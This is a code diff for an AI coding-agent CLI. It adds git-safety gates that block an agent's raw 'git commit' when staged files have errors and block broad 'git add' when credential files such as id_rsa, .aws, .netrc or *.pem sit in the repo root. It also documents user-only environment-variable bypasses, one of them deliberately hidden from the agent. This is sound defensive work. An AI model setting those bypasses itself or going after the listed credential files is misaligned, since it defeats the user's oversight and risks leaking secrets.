expect(getSandboxMutationBlockReason("biome check --write src/")).toContain("formatters");
|
|
173
|
-
});
|
|
174
|
-
it("allows safe non-mutating commands", () => {
|
|
175
|
-
expect(getSandboxMutationBlockReason("ls -la")).toBeNull();
|
|
176
|
-
expect(getSandboxMutationBlockReason("cat README.md")).toBeNull();
|
|
177
|
-
expect(getSandboxMutationBlockReason("grep -r foo src/")).toBeNull();
|
|
178
|
-
expect(getSandboxMutationBlockReason("uname -a")).toBeNull();
|
|
179
|
-
expect(getSandboxMutationBlockReason("npm run test")).toBeNull();
|
|
180
|
-
expect(getSandboxMutationBlockReason("node -e 'console.log(1)'")).toBeNull();
|
|
181
|
-
});
|
|
182
|
-
it("returns null for empty commands", () => {
|
|
183
|
-
expect(getSandboxMutationBlockReason("")).toBeNull();
|
|
184
|
-
expect(getSandboxMutationBlockReason(" ")).toBeNull();
|
|
185
|
-
});
|
|
186
|
-
});
|
|
187
|
-
describe("BashTool sandbox state", () => {
|
|
188
|
-
it("tracks cwd changes independently of sandbox mode", () => {
|
|
189
|
-
const root = makeTempDir("muonroi-bash-test-");
|
|
190
|
-
const nested = path.join(root, "nested");
|
|
191
|
-
fs.mkdirSync(nested);
|
|
192
|
-
const bash = new BashTool(root, { sandboxMode: "shuru" });
|
|
193
|
-
expect(bash.getCwd()).toBe(root);
|
|
194
|
-
expect(bash.getSandboxMode()).toBe("shuru");
|
|
195
|
-
});
|
|
196
|
-
it("can switch sandbox mode at runtime", () => {
|
|
197
|
-
const bash = new BashTool("/repo", { sandboxMode: "off" });
|
|
198
|
-
expect(bash.getSandboxMode()).toBe("off");
|
|
199
|
-
bash.setSandboxMode("shuru");
|
|
200
|
-
expect(bash.getSandboxMode()).toBe("shuru");
|
|
201
|
-
});
|
|
202
|
-
it("returns sandbox-aware tool description", () => {
|
|
203
|
-
const off = new BashTool("/repo", { sandboxMode: "off" });
|
|
204
|
-
const on = new BashTool("/repo", { sandboxMode: "shuru" });
|
|
205
|
-
expect(off.getToolDescription()).not.toContain("Shuru");
|
|
206
|
-
// Shuru only actually engages on macOS/arm64. Elsewhere the tool degrades
|
|
207
|
-
// to host execution, so the description must NOT advertise the phantom
|
|
208
|
-
// /workspace mount that a non-mac platform cannot provide.
|
|
209
|
-
const shuruSupported = process.platform === "darwin" && process.arch === "arm64";
|
|
210
|
-
if (shuruSupported) {
|
|
211
|
-
expect(on.getToolDescription()).toContain("Shuru sandbox");
|
|
212
|
-
expect(on.getToolDescription()).toContain("do not persist back to the host");
|
|
213
|
-
}
|
|
214
|
-
else {
|
|
215
|
-
expect(on.getToolDescription()).not.toContain("Shuru");
|
|
216
|
-
expect(on.getToolDescription()).not.toContain("/workspace");
|
|
217
|
-
}
|
|
218
|
-
});
|
|
219
|
-
it("degrades shuru to host execution when the platform cannot run Shuru", async () => {
|
|
220
|
-
const shuruSupported = process.platform === "darwin" && process.arch === "arm64";
|
|
221
|
-
if (shuruSupported)
|
|
222
|
-
return; // on a real Shuru host this path doesn't apply
|
|
223
|
-
const root = makeTempDir("muonroi-bash-shuru-degrade-");
|
|
224
|
-
const bash = new BashTool(root, { sandboxMode: "shuru" });
|
|
225
|
-
// getSandboxMode() still reports the CONFIGURED mode (intent preserved)...
|
|
226
|
-
expect(bash.getSandboxMode()).toBe("shuru");
|
|
227
|
-
// ...but a real command runs on the host instead of failing with the
|
|
228
|
-
// "requires macOS on Apple Silicon" error that previously bricked the shell.
|
|
229
|
-
const result = await bash.execute("echo sandbox-degrade-ok", 15_000);
|
|
230
|
-
expect(result.output).toContain("sandbox-degrade-ok");
|
|
231
|
-
expect(result.output).not.toContain("Apple Silicon");
|
|
232
|
-
});
|
|
233
|
-
it("stores and returns sandbox settings", () => {
|
|
234
|
-
const bash = new BashTool("/repo", {
|
|
235
|
-
sandboxMode: "shuru",
|
|
236
|
-
sandboxSettings: { allowNet: true, cpus: 4 },
|
|
237
|
-
});
|
|
238
|
-
expect(bash.getSandboxSettings()).toEqual({ allowNet: true, cpus: 4 });
|
|
239
|
-
});
|
|
240
|
-
it("can update sandbox settings at runtime", () => {
|
|
241
|
-
const bash = new BashTool("/repo", { sandboxMode: "shuru" });
|
|
242
|
-
expect(bash.getSandboxSettings()).toEqual({});
|
|
243
|
-
bash.setSandboxSettings({ allowNet: true, allowedHosts: ["api.openai.com"] });
|
|
244
|
-
expect(bash.getSandboxSettings()).toEqual({ allowNet: true, allowedHosts: ["api.openai.com"] });
|
|
245
|
-
});
|
|
17
|
+
describe("BashTool non-sandbox behavior", () => {
|
|
246
18
|
it("translates POSIX-style absolute paths in cd when shell is POSIX", async () => {
|
|
247
19
|
if (process.platform !== "win32")
|
|
248
20
|
return;
|
|
@@ -272,12 +44,6 @@ describe("BashTool sandbox state", () => {
|
|
|
272
44
|
expect(bash.getCwd()).toBe(root);
|
|
273
45
|
});
|
|
274
46
|
it("splits `cd <dir> && <cmd>` and runs <cmd> in the new cwd (session 127140a47b56 regression)", async () => {
|
|
275
|
-
// Pre-fix: the cd handler consumed the entire substring after `cd ` as a
|
|
276
|
-
// directory, so `cd D:\foo && gh run list` was stat()-ed as the literal
|
|
277
|
-
// string `D:\foo && gh run list`. Agents retried with every shell syntax
|
|
278
|
-
// imaginable (cmd.exe, powershell, /d/sources, escaped backslashes…) and
|
|
279
|
-
// burned 248 bash calls before being killed. After the fix the chain is
|
|
280
|
-
// parsed so the cd succeeds and the remainder executes in the new cwd.
|
|
281
47
|
const root = makeTempDir("muonroi-bash-cdchain-");
|
|
282
48
|
const bash = new BashTool(os.tmpdir());
|
|
283
49
|
const echoCmd = process.platform === "win32" ? "echo split-ok" : "echo split-ok";
|
|
@@ -320,26 +86,5 @@ describe("BashTool sandbox state", () => {
|
|
|
320
86
|
expect(result.output ?? "").toContain("always-runs");
|
|
321
87
|
expect(bash.getCwd()).toBe(root);
|
|
322
88
|
});
|
|
323
|
-
it("includes network status in tool description when allowNet is set", () => {
|
|
324
|
-
// Network status only appears in the Shuru description, which engages on
|
|
325
|
-
// macOS/arm64. Off-platform the tool degrades to host execution.
|
|
326
|
-
if (process.platform !== "darwin" || process.arch !== "arm64")
|
|
327
|
-
return;
|
|
328
|
-
const netOn = new BashTool("/repo", {
|
|
329
|
-
sandboxMode: "shuru",
|
|
330
|
-
sandboxSettings: { allowNet: true },
|
|
331
|
-
});
|
|
332
|
-
expect(netOn.getToolDescription()).toContain("network access is enabled");
|
|
333
|
-
const netRestricted = new BashTool("/repo", {
|
|
334
|
-
sandboxMode: "shuru",
|
|
335
|
-
sandboxSettings: { allowNet: true, allowedHosts: ["api.openai.com"] },
|
|
336
|
-
});
|
|
337
|
-
expect(netRestricted.getToolDescription()).toContain("network is restricted to: api.openai.com");
|
|
338
|
-
const netOff = new BashTool("/repo", {
|
|
339
|
-
sandboxMode: "shuru",
|
|
340
|
-
sandboxSettings: { allowNet: false },
|
|
341
|
-
});
|
|
342
|
-
expect(netOff.getToolDescription()).toContain("network is disabled");
|
|
343
|
-
});
|
|
344
89
|
});
|
|
345
90
|
//# sourceMappingURL=bash.test.js.map
|
|
@@ -19,8 +19,13 @@ export interface ReadRecord {
|
|
|
19
19
|
}
|
|
20
20
|
export declare class FileTracker {
|
|
21
21
|
private records;
|
|
22
|
+
private written;
|
|
22
23
|
/** Record content as known to the agent. Called after a successful read. */
|
|
23
24
|
markRead(absolutePath: string, content: string, mtimeMs: number): void;
|
|
25
|
+
/** Record that the agent wrote/edited this file. Called after a successful write. */
|
|
26
|
+
markWritten(absolutePath: string): void;
|
|
27
|
+
/** Absolute paths the agent created or modified via tools this session. */
|
|
28
|
+
writtenPaths(): string[];
|
|
24
29
|
/** True if the file has been recorded as read this session. */
|
|
25
30
|
hasRead(absolutePath: string): boolean;
|
|
26
31
|
/**
|
|
@@ -1,10 +1,23 @@
|
|
|
1
1
|
import { createHash } from "crypto";
|
|
2
2
|
export class FileTracker {
|
|
3
3
|
records = new Map();
|
|
4
|
+
// Absolute paths the agent CREATED/MODIFIED via write_file/edit_file this
|
|
5
|
+
// session. Distinct from `records` (which also holds read-only files). The
|
|
6
|
+
// git_commit tool stages exactly these so an agent commit never sweeps the
|
|
7
|
+
// user's unrelated working-tree changes or files the agent merely read.
|
|
8
|
+
written = new Set();
|
|
4
9
|
/** Record content as known to the agent. Called after a successful read. */
|
|
5
10
|
markRead(absolutePath, content, mtimeMs) {
|
|
6
11
|
this.records.set(absolutePath, { hash: hashOf(content), mtimeMs });
|
|
7
12
|
}
|
|
13
|
+
/** Record that the agent wrote/edited this file. Called after a successful write. */
|
|
14
|
+
markWritten(absolutePath) {
|
|
15
|
+
this.written.add(absolutePath);
|
|
16
|
+
}
|
|
17
|
+
/** Absolute paths the agent created or modified via tools this session. */
|
|
18
|
+
writtenPaths() {
|
|
19
|
+
return [...this.written];
|
|
20
|
+
}
|
|
8
21
|
/** True if the file has been recorded as read this session. */
|
|
9
22
|
hasRead(absolutePath) {
|
|
10
23
|
return this.records.has(absolutePath);
|
|
@@ -32,6 +45,7 @@ export class FileTracker {
|
|
|
32
45
|
/** Drop everything (e.g. on /clear). */
|
|
33
46
|
reset() {
|
|
34
47
|
this.records.clear();
|
|
48
|
+
this.written.clear();
|
|
35
49
|
}
|
|
36
50
|
}
|
|
37
51
|
function hashOf(s) {
|
package/dist/src/tools/file.js
CHANGED
|
@@ -70,6 +70,7 @@ export async function writeFile(filePath, content, cwd, tracker) {
|
|
|
70
70
|
writeFileSync(full, content, "utf-8");
|
|
71
71
|
// Refresh tracker so subsequent edits in the same session don't refuse.
|
|
72
72
|
tracker?.markRead(full, content, mtimeMsOf(full));
|
|
73
|
+
tracker?.markWritten(full);
|
|
73
74
|
const diff = computeDiff(filePath, before, content);
|
|
74
75
|
const verb = before === "" ? "Created" : "Updated";
|
|
75
76
|
const lspDiagnostics = await syncFileWithLsp(cwd, full, content, true, true).catch(() => []);
|
|
@@ -138,6 +139,7 @@ export async function editFile(filePath, oldString, newString, cwd, tracker) {
|
|
|
138
139
|
writeFileSync(full, after, "utf-8");
|
|
139
140
|
// Refresh tracker so back-to-back edits keep working.
|
|
140
141
|
tracker?.markRead(full, after, mtimeMsOf(full));
|
|
142
|
+
tracker?.markWritten(full);
|
|
141
143
|
const diff = computeDiff(filePath, before, after);
|
|
142
144
|
const lspDiagnostics = await syncFileWithLsp(cwd, full, after, true, true).catch(() => []);
|
|
143
145
|
const lspSummary = summarizeDiagnostics(lspDiagnostics);
|
|
@@ -37,6 +37,12 @@ export interface GitCommandShape {
|
|
|
37
37
|
isPush: boolean;
|
|
38
38
|
/** `git add -A` / `git add .` / `git add --all` / `git commit -a[m]`. */
|
|
39
39
|
isBroadStage: boolean;
|
|
40
|
+
/** Any `git commit` (with or without `-a`). Gated by the LSP commit gate. */
|
|
41
|
+
isCommit: boolean;
|
|
42
|
+
/** `git add -A` / `git add .` / `git add --all` (stages the whole working tree). */
|
|
43
|
+
isBroadAdd: boolean;
|
|
44
|
+
/** `git commit -a[m]` (auto-stages tracked modifications at commit time). */
|
|
45
|
+
isCommitAll: boolean;
|
|
40
46
|
}
|
|
41
47
|
export declare function analyzeGitCommand(command: string): GitCommandShape;
|
|
42
48
|
/**
|
|
@@ -54,8 +60,39 @@ export interface PushGateResult {
|
|
|
54
60
|
export declare function checkPushGate(sessionKey: string): PushGateResult;
|
|
55
61
|
/** Message returned in place of running a blocked `git push`. */
|
|
56
62
|
export declare function pushBlockedMessage(failed: string[]): string;
|
|
63
|
+
/**
|
|
64
|
+
* Message returned in place of running a blocked bash `git commit`. Mirrors the
|
|
65
|
+
* G1 `git_commit` tool gate: the agent must FIX the reported errors, not bypass
|
|
66
|
+
* the gate — so (per the G1 convention) the user-only `MUONROI_COMMIT_GATE=0`
|
|
67
|
+
* escape hatch is intentionally NOT advertised here.
|
|
68
|
+
*/
|
|
69
|
+
export declare function commitBlockedMessage(summary?: string): string;
|
|
57
70
|
/** Sensitive paths present in `cwd` that a broad `git add` would likely sweep in. */
|
|
58
71
|
export declare function detectSensitiveStaging(cwd: string): string[];
|
|
59
|
-
|
|
72
|
+
export interface StagingBlockResult {
|
|
73
|
+
/** true means broad staging must be blocked (pre-execution). */
|
|
74
|
+
blocked: boolean;
|
|
75
|
+
/** Sensitive paths found in the working directory root. */
|
|
76
|
+
sensitive: string[];
|
|
77
|
+
/** Human-readable block message to return from the bash tool. */
|
|
78
|
+
message: string;
|
|
79
|
+
}
|
|
80
|
+
/**
|
|
81
|
+
* Hard-block check for broad `git add`/`git commit -a` when sensitive files are
|
|
82
|
+
* present in the working directory.
|
|
83
|
+
*
|
|
84
|
+
* Replaces the non-blocking `stagingWarning()`. Returns blocked=true when
|
|
85
|
+
* sensitive paths are detected. The caller (registry.ts bash tool) must
|
|
86
|
+
* return `result.message` WITHOUT executing the command.
|
|
87
|
+
*
|
|
88
|
+
* The user can override this gate by:
|
|
89
|
+
* 1. Explicitly staging only the files they want (`git add <path>` instead of `-A`).
|
|
90
|
+
* 2. Setting MUONROI_ALLOW_BROAD_STAGE=1 (escape hatch, logged to decision-log).
|
|
91
|
+
*/
|
|
92
|
+
export declare function checkSensitiveStaging(cwd: string): StagingBlockResult;
|
|
93
|
+
/**
|
|
94
|
+
* @deprecated Use checkSensitiveStaging() for hard-blocking.
|
|
95
|
+
* Kept for call sites that emit a trailing warning (non-broad-stage contexts).
|
|
96
|
+
*/
|
|
60
97
|
export declare function stagingWarning(cwd: string): string;
|
|
61
98
|
export {};
|
|
@@ -57,11 +57,21 @@ const BROAD_ADD_RE = /\bgit\b[^|&;\n]*[ \t]add[ \t]+(?:-A\b|--all\b|\.(?=[ \t]|$
|
|
|
57
57
|
// `-a` / `-am` / `-ma` etc. — a short-flag cluster CONTAINING `a`, terminated by
|
|
58
58
|
// whitespace or end (so `-a--otherflag` and `--amend` do NOT match).
|
|
59
59
|
const COMMIT_ALL_RE = /\bgit\b[^|&;\n]*[ \t]commit\b[^|&;\n]*[ \t]-[a-z]*a[a-z]*(?=[ \t]|$)/;
|
|
60
|
+
// Any `git commit` (with or without `-a`). `commit` must end at whitespace or
|
|
61
|
+
// the clause boundary so plumbing like `commit-tree` / `commit-graph` and
|
|
62
|
+
// option values like `--grep=commit` do NOT match. Drives the bash-tool LSP
|
|
63
|
+
// commit gate so a raw `git commit` cannot bypass the `git_commit` tool's gate.
|
|
64
|
+
const COMMIT_RE = /\bgit\b[^|&;\n]*[ \t]commit(?=[ \t]|$)/;
|
|
60
65
|
export function analyzeGitCommand(command) {
|
|
61
66
|
const c = stripQuoted(command);
|
|
67
|
+
const isBroadAdd = BROAD_ADD_RE.test(c);
|
|
68
|
+
const isCommitAll = COMMIT_ALL_RE.test(c);
|
|
62
69
|
return {
|
|
63
70
|
isPush: PUSH_RE.test(c),
|
|
64
|
-
isBroadStage:
|
|
71
|
+
isBroadStage: isBroadAdd || isCommitAll,
|
|
72
|
+
isCommit: COMMIT_RE.test(c),
|
|
73
|
+
isBroadAdd,
|
|
74
|
+
isCommitAll,
|
|
65
75
|
};
|
|
66
76
|
}
|
|
67
77
|
/**
|
|
@@ -102,19 +112,52 @@ export function pushBlockedMessage(failed) {
|
|
|
102
112
|
"Re-run the failing check until it passes (0 failures), then push. This mirrors the mandatory Pre-Push Test Gate " +
|
|
103
113
|
"(never push on red). If you must override for a genuine reason, set MUONROI_ALLOW_PUSH_ON_RED=1.");
|
|
104
114
|
}
|
|
115
|
+
/**
|
|
116
|
+
* Message returned in place of running a blocked bash `git commit`. Mirrors the
|
|
117
|
+
* G1 `git_commit` tool gate: the agent must FIX the reported errors, not bypass
|
|
118
|
+
* the gate — so (per the G1 convention) the user-only `MUONROI_COMMIT_GATE=0`
|
|
119
|
+
* escape hatch is intentionally NOT advertised here.
|
|
120
|
+
*/
|
|
121
|
+
export function commitBlockedMessage(summary) {
|
|
122
|
+
return ("BLOCKED: refusing to run `git commit` — staged file(s) have errors that must be fixed first:\n" +
|
|
123
|
+
`${summary ?? "(no diagnostic detail available)"}\n\n` +
|
|
124
|
+
"Fix the reported errors, re-stage the file(s), then commit again. This mirrors the `git_commit` " +
|
|
125
|
+
"tool's quality gate so a bash `git commit` cannot bypass it.");
|
|
126
|
+
}
|
|
105
127
|
// Repo-root paths that should essentially never be committed. Presence-based
|
|
106
128
|
// (fs.existsSync) so the check is O(1) and never spawns git.
|
|
129
|
+
//
|
|
130
|
+
// Patterns cover:
|
|
131
|
+
// - All .env variants (.env, .env.*, *.env)
|
|
132
|
+
// - SSH private keys (id_rsa, id_ed25519, id_ecdsa, id_dsa, *.pem, *.key)
|
|
133
|
+
// - Cloud / service credentials
|
|
134
|
+
// - muonroi-cli settings (may hold provider API keys)
|
|
107
135
|
const SENSITIVE_NAMES = [
|
|
108
136
|
".env",
|
|
109
137
|
".env.local",
|
|
110
138
|
".env.production",
|
|
111
139
|
".env.development",
|
|
140
|
+
".env.test",
|
|
141
|
+
".env.staging",
|
|
112
142
|
".muonroi-cli",
|
|
113
143
|
"id_rsa",
|
|
114
144
|
"id_ed25519",
|
|
145
|
+
"id_ecdsa",
|
|
146
|
+
"id_dsa",
|
|
115
147
|
"credentials.json",
|
|
148
|
+
"service-account.json",
|
|
116
149
|
".npmrc",
|
|
150
|
+
".pypirc",
|
|
151
|
+
".netrc",
|
|
152
|
+
".aws",
|
|
153
|
+
".kube",
|
|
154
|
+
".docker",
|
|
155
|
+
"secrets.json",
|
|
156
|
+
"secrets.yaml",
|
|
157
|
+
"secrets.yml",
|
|
117
158
|
];
|
|
159
|
+
/** Sensitive file name suffixes checked via endsWith (catches *.pem, *.key, *.pfx). */
|
|
160
|
+
const SENSITIVE_SUFFIXES = [".pem", ".key", ".pfx", ".p12", ".env"];
|
|
118
161
|
/** Sensitive paths present in `cwd` that a broad `git add` would likely sweep in. */
|
|
119
162
|
export function detectSensitiveStaging(cwd) {
|
|
120
163
|
const found = [];
|
|
@@ -127,15 +170,62 @@ export function detectSensitiveStaging(cwd) {
|
|
|
127
170
|
// ignore unreadable entries — best-effort detection only
|
|
128
171
|
}
|
|
129
172
|
}
|
|
173
|
+
// Scan shallow directory entries for sensitive suffixes (*.pem, *.key, etc.)
|
|
174
|
+
// Only the cwd root — not recursive — to keep this O(n) and fast.
|
|
175
|
+
try {
|
|
176
|
+
const entries = fs.readdirSync(cwd);
|
|
177
|
+
for (const entry of entries) {
|
|
178
|
+
if (found.includes(entry))
|
|
179
|
+
continue; // already captured
|
|
180
|
+
const lower = entry.toLowerCase();
|
|
181
|
+
if (SENSITIVE_SUFFIXES.some((s) => lower.endsWith(s))) {
|
|
182
|
+
found.push(entry);
|
|
183
|
+
}
|
|
184
|
+
}
|
|
185
|
+
}
|
|
186
|
+
catch {
|
|
187
|
+
// ignore — e.g. permission error on readdir
|
|
188
|
+
}
|
|
130
189
|
return found;
|
|
131
190
|
}
|
|
132
|
-
/**
|
|
191
|
+
/**
|
|
192
|
+
* Hard-block check for broad `git add`/`git commit -a` when sensitive files are
|
|
193
|
+
* present in the working directory.
|
|
194
|
+
*
|
|
195
|
+
* Replaces the non-blocking `stagingWarning()`. Returns blocked=true when
|
|
196
|
+
* sensitive paths are detected. The caller (registry.ts bash tool) must
|
|
197
|
+
* return `result.message` WITHOUT executing the command.
|
|
198
|
+
*
|
|
199
|
+
* The user can override this gate by:
|
|
200
|
+
* 1. Explicitly staging only the files they want (`git add <path>` instead of `-A`).
|
|
201
|
+
* 2. Setting MUONROI_ALLOW_BROAD_STAGE=1 (escape hatch, logged to decision-log).
|
|
202
|
+
*/
|
|
203
|
+
export function checkSensitiveStaging(cwd) {
|
|
204
|
+
if (process.env.MUONROI_ALLOW_BROAD_STAGE === "1") {
|
|
205
|
+
return { blocked: false, sensitive: [], message: "" };
|
|
206
|
+
}
|
|
207
|
+
const sensitive = detectSensitiveStaging(cwd);
|
|
208
|
+
if (sensitive.length === 0)
|
|
209
|
+
return { blocked: false, sensitive: [], message: "" };
|
|
210
|
+
const list = sensitive.map((n) => ` • ${n}`).join("\n");
|
|
211
|
+
const message = "BLOCKED: refusing broad `git add`/`git commit -a` — the following sensitive " +
|
|
212
|
+
"paths exist in the repo root and would be swept into the staging area:\n" +
|
|
213
|
+
`${list}\n\n` +
|
|
214
|
+
"Stage files EXPLICITLY with `git add <path>` to avoid accidentally committing " +
|
|
215
|
+
"secrets or credentials. Ensure these paths are listed in .gitignore. " +
|
|
216
|
+
"To bypass this gate (not recommended), set MUONROI_ALLOW_BROAD_STAGE=1.";
|
|
217
|
+
return { blocked: true, sensitive, message };
|
|
218
|
+
}
|
|
219
|
+
/**
|
|
220
|
+
* @deprecated Use checkSensitiveStaging() for hard-blocking.
|
|
221
|
+
* Kept for call sites that emit a trailing warning (non-broad-stage contexts).
|
|
222
|
+
*/
|
|
133
223
|
export function stagingWarning(cwd) {
|
|
134
224
|
const sensitive = detectSensitiveStaging(cwd);
|
|
135
225
|
if (sensitive.length === 0)
|
|
136
226
|
return "";
|
|
137
|
-
return ("\n\n[WARNING:
|
|
138
|
-
`${sensitive.join(", ")}. Verify none were staged (git status)
|
|
227
|
+
return ("\n\n[WARNING: sensitive paths exist in the repo root: " +
|
|
228
|
+
`${sensitive.join(", ")}. Verify none were staged (git status) and ensure ` +
|
|
139
229
|
"secrets are gitignored before committing/pushing.]");
|
|
140
230
|
}
|
|
141
231
|
//# sourceMappingURL=git-safety.js.map
|
|
@@ -2,7 +2,7 @@ import { mkdtempSync, rmSync, writeFileSync } from "node:fs";
|
|
|
2
2
|
import { tmpdir } from "node:os";
|
|
3
3
|
import { join } from "node:path";
|
|
4
4
|
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
|
5
|
-
import { __resetGitSafetyState, analyzeGitCommand, checkPushGate, detectSensitiveStaging, recordCommandOutcome, stagingWarning, } from "./git-safety.js";
|
|
5
|
+
import { __resetGitSafetyState, analyzeGitCommand, checkPushGate, commitBlockedMessage, detectSensitiveStaging, recordCommandOutcome, stagingWarning, } from "./git-safety.js";
|
|
6
6
|
describe("analyzeGitCommand", () => {
|
|
7
7
|
it("detects git push (with flags and chained)", () => {
|
|
8
8
|
expect(analyzeGitCommand("git push").isPush).toBe(true);
|
|
@@ -40,6 +40,50 @@ describe("analyzeGitCommand", () => {
|
|
|
40
40
|
// -a must be a clean flag cluster — a malformed `-a--otherflag` is not `-a`.
|
|
41
41
|
expect(analyzeGitCommand("git commit -a--otherflag").isBroadStage).toBe(false);
|
|
42
42
|
});
|
|
43
|
+
it("detects any `git commit` for the LSP commit gate (with or without -a)", () => {
|
|
44
|
+
expect(analyzeGitCommand("git commit -m 'x'").isCommit).toBe(true);
|
|
45
|
+
expect(analyzeGitCommand("git commit").isCommit).toBe(true);
|
|
46
|
+
expect(analyzeGitCommand("git commit -am 'x'").isCommit).toBe(true);
|
|
47
|
+
expect(analyzeGitCommand("git commit --amend --no-edit").isCommit).toBe(true);
|
|
48
|
+
expect(analyzeGitCommand("git -c x=y commit -m 'x'").isCommit).toBe(true);
|
|
49
|
+
expect(analyzeGitCommand("git add -A && git commit -m 'x'").isCommit).toBe(true);
|
|
50
|
+
});
|
|
51
|
+
it("does not treat commit plumbing / quoted messages as a commit", () => {
|
|
52
|
+
// `commit` must terminate at whitespace/clause-end — plumbing subcommands stay clear.
|
|
53
|
+
expect(analyzeGitCommand("git commit-tree $TREE").isCommit).toBe(false);
|
|
54
|
+
expect(analyzeGitCommand("git commit-graph write").isCommit).toBe(false);
|
|
55
|
+
// option values and quoted messages mentioning commit must not match.
|
|
56
|
+
expect(analyzeGitCommand("git log --grep=commit").isCommit).toBe(false);
|
|
57
|
+
expect(analyzeGitCommand('git push -m "amend the commit later"').isCommit).toBe(false);
|
|
58
|
+
// separate clause / line cannot bleed in.
|
|
59
|
+
expect(analyzeGitCommand("git status\necho commit").isCommit).toBe(false);
|
|
60
|
+
});
|
|
61
|
+
it("separates broad-add from commit-all so the gate scopes the right path set", () => {
|
|
62
|
+
const addAll = analyzeGitCommand("git add -A");
|
|
63
|
+
expect(addAll.isBroadAdd).toBe(true);
|
|
64
|
+
expect(addAll.isCommitAll).toBe(false);
|
|
65
|
+
const commitAll = analyzeGitCommand("git commit -am 'x'");
|
|
66
|
+
expect(commitAll.isCommitAll).toBe(true);
|
|
67
|
+
expect(commitAll.isBroadAdd).toBe(false);
|
|
68
|
+
expect(commitAll.isCommit).toBe(true);
|
|
69
|
+
const plainCommit = analyzeGitCommand("git commit -m 'x'");
|
|
70
|
+
expect(plainCommit.isBroadAdd).toBe(false);
|
|
71
|
+
expect(plainCommit.isCommitAll).toBe(false);
|
|
72
|
+
expect(plainCommit.isCommit).toBe(true);
|
|
73
|
+
});
|
|
74
|
+
});
|
|
75
|
+
describe("commitBlockedMessage", () => {
|
|
76
|
+
it("surfaces the diagnostic summary and does NOT advertise the env bypass", () => {
|
|
77
|
+
const msg = commitBlockedMessage("src/foo.ts:3 error TS2322");
|
|
78
|
+
expect(msg).toMatch(/BLOCKED/);
|
|
79
|
+
expect(msg).toContain("src/foo.ts:3 error TS2322");
|
|
80
|
+
expect(msg).toMatch(/git_commit/);
|
|
81
|
+
// G1 convention: the user-only escape hatch is never shown to the agent.
|
|
82
|
+
expect(msg).not.toMatch(/MUONROI_COMMIT_GATE/);
|
|
83
|
+
});
|
|
84
|
+
it("falls back gracefully when no summary is provided", () => {
|
|
85
|
+
expect(commitBlockedMessage()).toMatch(/no diagnostic detail/i);
|
|
86
|
+
});
|
|
43
87
|
});
|
|
44
88
|
describe("push gate", () => {
|
|
45
89
|
beforeEach(() => {
|
|
@@ -20,7 +20,7 @@
|
|
|
20
20
|
*/
|
|
21
21
|
import { type ToolSet } from "ai";
|
|
22
22
|
/** The native tool names this module registers — used by the MCP-twin dedup. */
|
|
23
|
-
export declare const NATIVE_MUONROI_TOOL_NAMES: readonly ["ee_health", "ee_feedback", "usage_forensics", "lsp_query", "setup_guide", "selfverify_start", "selfverify_status", "selfverify_result", "selfverify_list", "selfverify_cancel"];
|
|
23
|
+
export declare const NATIVE_MUONROI_TOOL_NAMES: readonly ["ee_health", "ee_feedback", "ee_write", "usage_forensics", "lsp_query", "setup_guide", "selfverify_start", "selfverify_status", "selfverify_result", "selfverify_list", "selfverify_cancel"];
|
|
24
24
|
export interface NativeToolOpts {
|
|
25
25
|
/** Workspace cwd for lsp_query. Defaults to process.cwd(). */
|
|
26
26
|
cwd?: string;
|